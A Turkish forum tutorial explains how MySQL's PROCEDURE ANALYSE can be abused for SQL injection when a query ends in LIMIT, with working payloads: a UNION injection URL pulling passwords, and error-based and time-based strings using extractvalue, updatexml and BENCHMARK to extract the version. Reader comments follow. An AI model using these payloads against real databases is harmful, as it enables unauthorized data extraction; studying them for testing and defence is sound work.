SQL Injection Procedure Analyse

→ Procedure Analyse nedir ?
→ SQL Injection’da neden kullanılır ?
→ SQL Injection’da nasıl kullanılır ?
→ Demo Uygulama

1) Procedure Analyse nedir ?

Procedure Analyse, MySQL’in kolonlarınız için uygun veri tipi ve veri uzunluğunu seçmenizde yardımcı olmak için sunduğu bir komuttur. Veri tipi, veri uzunluğu gibi değerler performansı etkileyeceği için kullanılmasında fayda görülüyor.

Kullanımı şu şekildedir ;

SELECT * FROM tabloadi PROCEDURE ANALYSE() ;

Resimlerden devam edelim. Localhost’da “prosedur” adında bir tablo oluşturdum. Tablo içeriği şu şekilde ;

2019-05-18%2018-03-26%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Şimdi "Procedure Analyse" kodumuzu deneyelim ve sonuçları inceleyelim.

Çıktıyı incelerseniz, her bir tablo için “en uygun alan tipi” , “en uzun değer”, “en kısa değer”, “maksimum uzunluk”, “minimum uzunluk”, “null değerler” gibi istatistiksel verileri önümüze sunuyor.

Bu teorik bilgiler daha çok sistemi yönetenlerin kullandıkları kısımlardı, şimdi geçelim saldırganların kullandıklarına …

2) SQL Injection’da neden kullanılır ?

Piyasada gördüğünüz SQL Injection dökümanlarında genellikle “WHERE” ile biten sorgular için gerçekleştirilen Injection’lar gösteriliyor.

SELECT * FROM tabloadi WHERE kullaniciid = 1 ;

Şeklinde ki sorguda saldırgan saldırısını aşağıdaki şekilde gerçekleştiriyor ;

http://vvHack.org/sqli.php?id=1' union select sifre from kullanici-- -

Fakat sorgular “WHERE” ile bitmek zorunda değil.

LIMIT” adında, MySQL’de sıkça kullanılan bir komut var. Bu komut “kaç adet data çekileceğini” belirlemede kullanılır.

2019-05-18%2018-42-40%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Resimde görüldüğü üzere “limit 2” yaptığımızda ilk 2 veriyi, “limit 3” yaptığımızda ise ilk 3 veriyi çekebiliyoruz.

Aynı komutu “limit ilkdeger,sondeger” şeklinde kullanırsak da ilkdeger’den son değer kadar ileride olanlara kadar verileri görebiliyoruz.

2019-05-18%2018-49-14%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Peki SQL Injection gerçekleştirmemiz gereken sorgu “LIMIT” komutu ile bitiyorsa nasıl bir yol izleyeceğiz ?

Limit ile biten sorgularda syntax bozulmadan kendi sorgularımızı inject edebilmemiz için “PROCEDURE ANALYSE()” komutu kullanımı gerçekleştirilebilir.

2019-05-18%2018-53-08%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Görüldüğü üzere syntax bozulmadan procedure analyse işlemi gerçekleşiyor.

3) SQL Injection’da nasıl kullanılır ?

Procedure Analyse() komutu içerisine 2 adet parametre alabiliyor. Yani “Procedure Analyse(1,3)” şeklinde kullanımı gerçekleştirilebiliyor. Biz SQL Injection gerçekleştirirken bu parametreler üzerinden işlemlerimizi gerçekleştireceğiz. Procedure Analyse ile Injection gerçekleştirirken “Time Based” ve “Error Based” sorgular gerçekleştirebiliriz. Bu sorgularda “extractvalue” veya “updatexml” komutunu kullanacağız.

  • Procedure Analyse kullanarak Error Based SQL Injection ile Version çekmek için ;

SELECT * FROM tabloadi WHERE kullaniciid = 1 LIMIT 0,1 PROCEDURE ANALYSE(extractvalue(rand(),concat(0x3a,version())),1) ;

veya

SELECT * FROM tabloadi WHERE kullaniciid = 1 LIMIT 0,1 PROCEDURE ANALYSE(UPDATEXML(null,concat(0x3a,@@version),null),1) ;

  • Procedure Analyse kullanarak Time Based SQL Injection ile Version çekmek için ;

SELECT * FROM tabloadi WHERE kullaniciid = 1 LIMIT 0,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1) ;

2019-05-18%2021-05-31%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

4) Demo Uygulama

Kullanılan Exploit ;

20 Beğeni

Ellerine sağlık kardeşim, burda adımı uzun yazmanda almam gereken bir mesaj mı var? :smiley:

2 Beğeni

“bozkurt” ve “jonturk” ikiside 7 basamaklı.
Procedure Analyse yaptığımda MaxLength değeri farklı, göze batan bişey olsun diye öyle yaptım. Sana denk geldi :grinning:

4 Beğeni

Diğer platformlardaki kalitesizliklerden biri de konuyu görüntülemek için atılan random yorumlar, makale ile alakası olmayan gereksiz postlar, aşırı sayıda teşekkür mesajı ile asıl okunması gereken yorumların arada kaynaması vs. durumların burada olmamasını temenni ederek konu ile alakalı bir önerimi iletmek istiyorum. İnce bir konu olmuş eyvallah fakat kaliteyi arttırmak için temel gereksinimler belirtilebilir. Örneğin sql açığının ne olduğunu bilmeyen okur meseleyi kavrayamayacaktır. Önce bilmesi gereken temel hususlar belirtilebilir. Kolay gelsin. İyi çalısmalar